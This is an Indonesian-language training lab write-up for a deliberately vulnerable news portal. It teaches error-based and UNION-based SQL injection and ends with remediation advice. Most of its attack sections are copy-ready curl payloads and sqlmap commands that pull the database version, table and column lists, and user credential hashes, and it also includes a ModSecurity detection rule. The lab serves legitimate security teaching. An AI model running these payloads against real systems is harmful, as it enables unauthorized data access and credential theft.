Lab 01: SQL Injection (News Portal)
Overview
Pernahkah kamu membayangkan seorang pustakawan yang langsung menuliskan kata-katamu ke dalam sistem katalog perpustakaan tanpa memverifikasinya terlebih dahulu? Kamu bilang "cari buku Harry Potter", lalu pustakawan itu menjalankan perintahmu persis seperti yang kamu ucapkan - termasuk jika suatu saat kamu berkata "cari buku Harry Potter dan diam-diam hapus semua data peminjam". Konyol, bukan?
SQL Injection bekerja persis seperti itu.
Ketika sebuah aplikasi web menerima input dari pengguna (misalnya
parameter ?id=1 di URL) dan langsung
menggabungkannya ke dalam query SQL tanpa verifikasi,
maka kita sebagai attacker bisa menyisipkan perintah SQL tambahan.
Aplikasi akan menjalankan perintah kita karena ia
"percaya" bahwa input tersebut hanyalah data biasa.
Di lab ini, kita akan mengeksploitasi Portal Berita
Nasional yang memiliki celah SQL Injection pada
parameter id. Portal ini menampilkan berita berdasarkan
ID yang dikirim melalui URL. Karena parameter id
langsung dimasukkan ke query MySQL tanpa sanitasi, kita bisa
mengeluarkan data sensitif dari database - termasuk username dan
password pengguna.
💡 Mengapa ini penting? SQL Injection adalah salah satu celah keamanan paling berbahaya dan paling klasik di web. Dengan satu celah kecil di parameter ID, seorang attacker bisa mengakses seluruh database, mencuri data pengguna, bahkan mengambil alih server.
Learning Objectives
Setelah menyelesaikan lab ini, kamu akan mampu:
- Mendeteksi celah SQL Injection pada parameter URL melalui teknik error detection
- Mengidentifikasi jumlah kolom dalam
query menggunakan
ORDER BYdanUNION SELECT - Melakukan ekstraksi informasi database (versi MySQL, database saat ini, user)
- Mengumpulkan data tabel dan kolom dari
information_schema - Mengekstrak kredensial pengguna dari
tabel
usersmenggunakan UNION-based SQL Injection
Prerequisites
Perangkat yang Dibutuhkan
| Kebutuhan | Keterangan |
|---|---|
| Browser | Chrome / Firefox / Edge (untuk observasi awal) |
| Terminal | Linux/macOS Terminal atau Windows CMD/PowerShell |
| curl | HTTP client via command line (tes koneksi dan payload) |
| Koneksi Internet | Untuk mengakses target |
💡 Tip: Semua perintah curl di lab ini bisa kamu copy-paste langsung ke terminal. Pastikan terminal kamu mendukung UTF-8.
Konsep yang Perlu Dipahami
Apa itu SQL?
SQL (Structured Query Language) adalah bahasa yang digunakan untuk berkomunikasi dengan database. Contoh query sederhana:
SELECT judul, penulis FROM berita WHERE id = 1;
Query di atas akan mengambil kolom judul dan
penulis dari tabel berita yang memiliki
id = 1.
Apa itu HTTP Query Parameter?
Query parameter adalah data yang dikirim melalui URL setelah tanda
?. Contoh:
http://portal.vuln.cybersecurity.or.id/?id=1
Nilai id=1 adalah input pengguna yang
akan digunakan oleh server untuk mengambil data dari database.
Masalahnya?
Jika server menggabungkan input langsung ke query SQL seperti ini:
$id = $_GET['id'];
$query = "SELECT * FROM berita WHERE id = '$id'";
Maka kita bisa mengubah $id menjadi
1' OR '1'='1, sehingga query
menjadi:
SELECT * FROM berita WHERE id = '1' OR '1'='1'
Ini akan mengembalikan semua baris - karena
'1'='1' selalu bernilai benar!
Target Info
| Atribut | Detail |
|---|---|
| Target URL | http://portal.vuln.cybersecurity.or.id/?id=X
|
| Metode | GET |
| Parameter | id (numeric) |
| Tingkat Kesulitan | ⭐ Beginner |
| Kategori | Injection |
| WSTG Code | WSTG-INPV-02 |
| Teknologi | Nginx, PHP, MySQL |
Vulnerability Background
OWASP Top 10: A03:2021 - Injection
Injection menempati posisi ke-3 dalam OWASP Top 10 2021. SQL Injection adalah varian paling umum, di mana attacker menyisipkan perintah SQL berbahaya melalui input pengguna.
Klasifikasi CWE & CAPEC
| Standar | Kode | Deskripsi |
|---|---|---|
| CWE | CWE-89 | Improper Neutralization of Special Elements used in an SQL Command |
| CAPEC | CAPEC-66 | SQL Injection |
WHY - Mengapa SQL Injection Terjadi?
SQL Injection terjadi karena tidak ada pemisahan antara data dan perintah. Perhatikan kode PHP rentan berikut:
$id = $_GET['id']; // Input langsung dari user
$query = "SELECT * FROM berita WHERE id = $id"; // Concatenated ke query!
$result = mysqli_query($conn, $query); // Dieksekusi langsung
Kode di atas mengambil nilai id dari URL dan
menempelkannya langsung ke string query SQL. Jika
user mengirim 1, query berjalan normal. Tapi jika user
mengirim 1' UNION SELECT ... --, maka query akan
berisi perintah SQL tambahan.
💡 Mengapa ini berbahaya? Karena database tidak bisa membedakan mana bagian dari data dan mana perintah SQL. Semua input dianggap sebagai query. Attacker bisa membaca, mengubah, bahkan menghapus data tanpa izin.
Tipe-tipe SQL Injection
- Error-Based SQLi - Memanfaatkan pesan error dari database untuk memahami struktur
- UNION-Based SQLi - Menggabungkan hasil query asli dengan query buatan attacker
- Blind SQLi - Mengekstrak data tanpa melihat hasil langsung (Boolean-based / Time-based)
- Out-of-Band SQLi - Mengekstrak data melalui kanal lain (DNS, HTTP request)
Pada lab ini kita akan fokus pada Error-Based dan UNION-Based SQL Injection.
Reconnaissance
Tahap reconnaissance adalah langkah awal untuk memahami bagaimana aplikasi berperilaku dan menemukan celah potensial.
Langkah 1: Akses Halaman Utama
Buka http://portal.vuln.cybersecurity.or.id/ di browser.
Amati tampilannya.
curl -s http://portal.vuln.cybersecurity.or.id/
Yang diamati:
- Portal berita dengan daftar artikel
- URL tidak menunjukkan parameter apapun
- Navigasi dan struktur halaman
Langkah 2: Uji Parameter Normal
Coba akses berita dengan parameter ID yang valid:
curl -s http://portal.vuln.cybersecurity.or.id/?id=1
Hasil: Halaman menampilkan berita dengan ID 1.
curl -s http://portal.vuln.cybersecurity.or.id/?id=2
Hasil: Halaman menampilkan berita dengan ID 2.
✅ Kesimpulan: Parameter
iddigunakan untuk memilih berita dari database.
Langkah 3: Error Detection - Memicu Error SQL
Sekarang kita coba mengirim input yang tidak valid secara SQL untuk melihat apakah aplikasi mengeluarkan pesan error.
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1'"
Perhatikan tanda petik tunggal (')
setelah angka 1. Jika aplikasi rentan, ini akan memicu error karena
query menjadi:
SELECT * FROM berita WHERE id = '1''
Expected Output (sebagian):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
[SCREENSHOT-1: Error SQL muncul setelah input 1']
💡 Mengapa ini penting? Error SQL menandakan bahwa input kita masuk langsung ke query. Tanpa error handling, aplikasi memberikan kita informasi berharga: "Saya menggunakan MySQL dan parameter rentan!"
Langkah 4: Bypass dengan Logical Operator
Coba bypass query dengan membuat kondisi yang selalu benar:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' OR '1'='1"
Hasil: Halaman menampilkan semua
berita - karena kondisi
'1'='1' membuat query mengembalikan
semua baris.
[SCREENSHOT-2: Semua berita tampil setelah OR '1'='1']
✅ Konfirmasi: Parameter
id100% rentan terhadap SQL Injection.
Testing
Teknik 1: Error-Based SQL Injection
Setelah mendeteksi celah, kita perlu memahami struktur query. Langkah pertama adalah menentukan jumlah kolom yang dikembalikan oleh query asli.
Menentukan Jumlah Kolom dengan ORDER BY
Kita bisa menggunakan ORDER BY dengan angka untuk
menemukan jumlah kolom:
# Coba ORDER BY 1 hingga error
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 1-- -"
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 2-- -"
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 3-- -"
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 4-- -"
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 5-- -"
Catatan:
-- -adalah komentar SQL yang menonaktifkan sisa query. Spasi setelah--penting.
Jika ORDER BY 4 berhasil (halaman normal) dan
ORDER BY 5 error, maka jumlah kolom =
4.
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 4-- -"
Hasil: Berita ID 1 tampil normal ✅
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 5-- -"
Hasil: Error ❌ - kolom ke-5 tidak ada.
[SCREENSHOT-3: ORDER BY 4 sukses, ORDER BY 5 error]
✅ Jumlah kolom: 4
Ekstraksi Informasi Database
Setelah tahu jumlah kolom, kita bisa mengganti query asli dengan
query buatan kita menggunakan UNION SELECT.
Cari posisi kolom yang ditampilkan di halaman:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,2,3,4-- -"
Gunakan ID negatif (-1) agar query asli tidak
mengembalikan baris (tidak ada berita dengan ID negatif), sehingga
hanya hasil UNION kita yang tampil.
Output: Halaman menampilkan angka 1,
2, 3, 4 di posisi tertentu.
Catat kolom mana yang muncul - misalnya kolom 2 dan 3 (judul dan
konten).
[SCREENSHOT-4: Angka 1,2,3,4 muncul di halaman]
Sekarang ganti kolom yang tampil dengan fungsi database:
# Ekstrak versi MySQL
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,VERSION(),3,4-- -"
Output: Menampilkan versi MySQL (misal:
8.0.35)
# Ekstrak database saat ini
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,DATABASE(),3,4-- -"
Output: Menampilkan nama database (misal:
portal_db)
# Ekstrak user database
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,USER(),3,4-- -"
Output: Menampilkan user database (misal:
root@localhost)
[SCREENSHOT-5: Informasi database berhasil diekstrak]
Teknik 2: UNION-Based SQL Injection
Setelah mendapatkan informasi dasar, kita lanjutkan dengan mengekstrak struktur database dan data pengguna.
Mendapatkan Daftar Tabel
Query ke information_schema.tables untuk melihat semua
tabel dalam database:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=DATABASE()-- -"
Output: Daftar tabel, misalnya:
berita,users
Mendapatkan Daftar Kolom dari Tabel Users
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -"
Output: Daftar kolom, misalnya:
id,username,password,email,role
[SCREENSHOT-6: Struktur tabel dan kolom berhasil didapatkan]
Ekstrak Data Pengguna
Sekarang kita ekstrak username dan password dari tabel
users:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM users-- -"
Output: Menampilkan semua username dan password, misalnya:
admin:5d41402abc4b2a76b9719d911017c592,editor:e99a18c428cb38d5f260853678922e03
[SCREENSHOT-7: Kredensial user berhasil diekstrak]
💡 Mengapa ini berbahaya? Dengan kredensial ini, attacker bisa login sebagai admin dan mengakses panel administrasi portal berita, mengubah konten, atau bahkan menyisipkan script berbahaya.
Exploitation
Finding 1: Error-Based SQL Injection - Information Disclosure
| Field | Detail |
|---|---|
| ID Temuan | F-001 |
| Nama | Error-Based SQL Injection pada parameter id
|
| Severity | High |
| Endpoint | GET http://portal.vuln.cybersecurity.or.id/?id=X
|
| Parameter | id |
| CWE | CWE-89 - Improper Neutralization of Special Elements used in an SQL Command |
| CAPEC | CAPEC-66 - SQL Injection |
| WSTG | WSTG-INPV-02 |
| Deskripsi | Parameter id langsung dikonkatenasi ke
query SQL tanpa sanitasi. Attacker dapat memicu error
SQL yang mengungkap informasi sistem (versi MySQL,
database, user) dan struktur query. |
| Dampak | Informasi database bocor ke attacker, memudahkan eksploitasi lanjutan. Namun dampak terbatas pada informasi - tidak langsung mengekspos data tabel. |
| Root Cause | Kode PHP menggunakan $_GET['id']
langsung dalam query tanpa prepared statement atau
escaping. |
Proof of Concept
Deteksi kerentanan:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1'"
Ekstrak versi MySQL:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,VERSION(),3,4-- -"
Ekstrak database saat ini:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,DATABASE(),3,4-- -"
Remediasi
Gunakan prepared statements (parameterized queries):
$stmt = $conn->prepare("SELECT * FROM berita WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
Finding 2: UNION-Based SQL Injection - Data Exfiltration
| Field | Detail |
|---|---|
| ID Temuan | F-002 |
| Nama | UNION-Based SQL Injection - Ekstraksi Data Pengguna |
| Severity | Critical |
| Endpoint | GET http://portal.vuln.cybersecurity.or.id/?id=X
|
| Parameter | id |
| CWE | CWE-89 - Improper Neutralization of Special Elements used in an SQL Command |
| CAPEC | CAPEC-66 - SQL Injection |
| WSTG | WSTG-INPV-02 |
| Deskripsi | Setelah mengidentifikasi 4 kolom dalam query, attacker
menggunakan UNION SELECT untuk menggabungkan hasil query
asli dengan query berbahaya. Attacker berhasil
mengekstrak daftar tabel dari
information_schema, kolom dari
users, dan akhirnya username serta password
hash seluruh pengguna. |
| Dampak | Very High - Seluruh data pengguna (username + password hash) bocor. Attacker bisa melakukan offline cracking terhadap hash password menggunakan tool seperti John the Ripper atau Hashcat. Jika password lemah, akun admin dapat dikompromikan sepenuhnya. |
| Root Cause | Sama dengan F-001: input pengguna tidak disanitasi
sebelum digunakan dalam query SQL. Penggunaan
mysqli_query() dengan concatenation string
adalah praktik berbahaya yang sudah usang. |
Proof of Concept
Ekstrak tabel dalam database:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=DATABASE()-- -"
Ekstrak kolom dari tabel users:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -"
Ekstrak kredensial:
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM users-- -"
Remediasi
- Prepared Statements (wajib):
$stmt = $conn->prepare("SELECT * FROM berita WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
- Input Validation: Pastikan
idbenar-benar berupa angka:
if (!ctype_digit($_GET['id'])) {
die("Invalid input");
}
-
Least Privilege: User MySQL untuk aplikasi web sebaiknya hanya memiliki akses SELECT ke tabel yang diperlukan, bukan akses ke
information_schemaatau tabel sensitif sepertiusers. -
Error Handling: Nonaktifkan display_errors di production:
display_errors = Off
display_startup_errors = Off
💡 Mengapa prepared statements lebih aman? Prepared statements memisahkan struktur query dari data. Database server menerima template query terlebih dahulu, baru kemudian data dikirim secara terpisah. Input pengguna tidak pernah diinterpretasikan sebagai SQL - hanya sebagai nilai literal.
Evidence Collection
Gunakan checklist berikut untuk memastikan semua langkah telah dilakukan dan dicatat.
Checklist Pengujian
| No | Langkah | Status | Command/Output |
|---|---|---|---|
| 1 | Akses halaman utama | ☐ | curl -s http://portal.vuln.cybersecurity.or.id/
|
| 2 | Parameter normal (?id=1) |
☐ | Berita ID 1 tampil |
| 3 | Parameter normal (?id=2) |
☐ | Berita ID 2 tampil |
| 4 | Error detection (?id=1') |
☐ | Error SQL muncul |
| 5 | Bypass
(?id=1' OR '1'='1) |
☐ | Semua berita tampil |
| 6 | ORDER BY 4 → sukses | ☐ | 4 kolom terkonfirmasi |
| 7 | UNION SELECT 1,2,3,4 | ☐ | Posisi kolom teridentifikasi |
| 8 | Ekstrak VERSION() | ☐ | Versi MySQL tercatat |
| 9 | Ekstrak DATABASE() | ☐ | Nama database tercatat |
| 10 | Ekstrak USER() | ☐ | User database tercatat |
| 11 | Daftar tabel (information_schema) | ☐ | Tabel teridentifikasi |
| 12 | Daftar kolom tabel users | ☐ | Kolom teridentifikasi |
| 13 | Ekstrak data users | ☐ | Kredensial terekstrak |
Command Log (contoh)
Simpan semua perintah yang berhasil dalam file teks:
# Simpan ke file
cat > sqli-evidence.txt << 'EOF'
=== EVIDENCE LOG: SQL Injection - Portal Berita ===
Target: http://portal.vuln.cybersecurity.or.id/
Date: $(date)
[ERROR DETECTION]
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1'"
Result: MySQL error displayed
[BYPASS]
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' OR '1'='1"
Result: All articles displayed
[COLUMN COUNT]
curl -s "http://portal.vuln.cybersecurity.or.id/?id=1' ORDER BY 4-- -"
Result: Success (4 columns)
[DATABASE INFO]
Version: $(curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,VERSION(),3,4-- -" | grep -oP '[0-9]+\.[0-9]+\.[0-9]+')
Database: $(curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,DATABASE(),3,4-- -" | grep -oP '(?<=2>)[^<]+')
[TABLE LIST]
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=DATABASE()-- -"
[USER CREDENTIALS]
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,GROUP_CONCAT(username,':',password),3,4 FROM users-- -"
EOF
💡 Tip: Ambil screenshot setiap langkah untuk dokumentasi yang lebih kuat. Simpan dengan format
lab01-langkah-XX.png.
Risk Assessment
Matriks Risiko
| Aspek | Penilaian | Keterangan |
|---|---|---|
| Attack Vector | 🔴 Jaringan (Remote) | Cukup dengan koneksi HTTP, tidak perlu akses lokal |
| Attack Complexity | 🟢 Rendah | Payload sederhana, tidak perlu tool khusus |
| Privileges Required | 🟢 None | Tidak perlu login atau akses khusus |
| User Interaction | 🟢 None | Tidak perlu interaksi pengguna lain |
| Impact - Confidentiality | 🔴 Sangat Tinggi | Seluruh database dapat dibaca |
| Impact - Integrity | 🟡 Sedang | Attacker bisa mengubah data via UPDATE query |
| Impact - Availability | 🟡 Sedang | Bisa menghapus data via DROP/DELETE query |
| Exploitability | 🔴 Sangat Mudah | Tinggal ubah URL di browser |
Tingkat Keparahan Keseluruhan: CRITICAL
Kombinasi remote attack, tanpa autentikasi, dampak data leakage, dan kemudahan eksploitasi membuat celah ini berada pada level kritis. Dalam skenario nyata, satu celah SQL Injection bisa menyebabkan data breach yang merugikan perusahaan dan pengguna.
Remediation
Solusi Jangka Pendek (Immediate Fix)
-
Nonaktifkan display_errors di PHP:
; php.inidisplay_errors = Offdisplay_startup_errors = Off -
Validasi input - pastikan
idadalah angka:$id = $_GET['id'];if (!is_numeric($id)) {http_response_code(400);die("Invalid request");}
Solusi Jangka Panjang (Permanent Fix)
1. Prepared Statements (Parameterized Queries)
Cara MySQLi:
$stmt = $conn->prepare("SELECT * FROM berita WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
Cara PDO:
$stmt = $pdo->prepare("SELECT * FROM berita WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
$result = $stmt->fetchAll();
2. Least Privilege Database User
Buat user database khusus untuk aplikasi web dengan hak minimal:
CREATE USER 'web_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON portal_db.* TO 'web_user'@'localhost';
-- JANGAN beri akses ke mysql.* atau informasi_schema
Jangan gunakan user root untuk koneksi aplikasi web!
3. Web Application Firewall (WAF)
Gunakan WAF seperti ModSecurity untuk mendeteksi dan memblokir payload SQL Injection:
# Contoh aturan ModSecurity
SecRule ARGS "((?:')|(?:--)|(\bOR\b)|(\bAND\b))" \
"phase:2,deny,status:403,id:10001"
4. Input Validation & Output Encoding
// Whitelist validation - hanya angka yang diterima
if (ctype_digit($_GET['id'])) {
// Proses query
} else {
http_response_code(400);
exit;
}
Verifikasi Perbaikan
Setelah menerapkan prepared statements, coba ulang payload SQL Injection:
# Seharusnya tidak lagi mengekstrak data
curl -s "http://portal.vuln.cybersecurity.or.id/?id=-1' UNION SELECT 1,VERSION(),3,4-- -"
Expected result: Halaman tidak menampilkan data database. Mungkin menampilkan "Berita tidak ditemukan" atau halaman kosong - bukan informasi sensitif.
[SCREENSHOT-8: Setelah remediasi, payload SQLI tidak lagi berfungsi]
Lessons Learned
Poin Pembelajaran
-
Input adalah musuh - Setiap input dari pengguna harus dianggap berbahaya hingga terbukti aman. Jangan pernah percaya data dari
$_GET,$_POST,$_COOKIE, atau$_SERVER. -
Concatenation = bencana - Menggabungkan string untuk query SQL (
"SELECT ... WHERE id = " . $_GET['id']) adalah praktik yang sangat berbahaya. Selalu gunakan prepared statements. -
Error messages bisa menjadi senjata attacker - Pesan error database memberikan informasi berharga bagi attacker. Di production, selalu nonaktifkan display_errors dan log error ke file saja.
-
Satu celah, dampak berantai - Dari parameter
idyang sepele, attacker bisa mendapatkan versi MySQL → daftar tabel → struktur kolom → kredensial pengguna. Sebuah celah kecil bisa menjadi bencana besar. -
Defense in depth - Jangan hanya bergantung pada satu lapisan keamanan. Kombinasikan prepared statements + input validation + least privilege + WAF untuk perlindungan maksimal.
Refleksi
Pertanyaan untuk direnungkan:
-
Apa yang terjadi jika tabel
usersberisi password plaintext (bukan hash)? - Dampaknya akan jauh lebih parah. Attacker langsung bisa login tanpa perlu cracking password hash. Inilah mengapa password wajib di-hash menggunakan algoritma kuat seperti bcrypt atau Argon2. -
Bagaimana jika aplikasi menggunakan user MySQL
root? - Attacker bisa mengeksekusi perintah sepertiLOAD_FILE()untuk membaca file sistem, atauINTO OUTFILEuntuk menulis file (potensi RCE). Selalu batasi hak akses user database aplikasi. -
Apakah SQL Injection masih relevan di tahun 2026? - Sangat relevan. Meskipun ORM (Object-Relational Mapping) seperti Eloquent dan Doctrine sudah populer, banyak aplikasi legacy dan developer pemula yang masih menggunakan query concatenation. SQL Injection tetap ada di OWASP Top 10.
💡 Mengapa ini penting? SQL Injection bukan sekadar "celah lawas". Ini adalah pelajaran fundamental tentang bagaimana trust boundary bekerja. Memahami SQL Injection berarti memahami prinsip dasar keamanan aplikasi: jangan pernah percaya input pengguna.
References
Dokumentasi Resmi
- OWASP SQL Injection Prevention Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- WSTG-INPV-02 - https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection
- OWASP A03:2021 - Injection - https://owasp.org/Top10/A03_2021-Injection/
CWE & CAPEC
- CWE-89: SQL Injection - https://cwe.mitre.org/data/definitions/89.html
- CAPEC-66: SQL Injection - https://capec.mitre.org/data/definitions/66.html
Tools
- sqlmap - Automated SQL Injection tool:
https://sqlmap.org/
# Contoh penggunaan sqlmap pada target inisqlmap -u "http://portal.vuln.cybersecurity.or.id/?id=1" --batch --dbssqlmap -u "http://portal.vuln.cybersecurity.or.id/?id=1" --batch -D portal_db --tablessqlmap -u "http://portal.vuln.cybersecurity.or.id/?id=1" --batch -D portal_db -T users --dump
Buku & Bacaan Lanjutan
- The Web Application Hacker's Handbook - Dafydd Stuttard & Marcus Pinto
- SQL Injection Attacks and Defense - Justin Clarke
TDCTF Security Academy - Cybersecurity Indonesia Generated by @farishhz - Alfarisi Azmir Agent Pentest Pipeline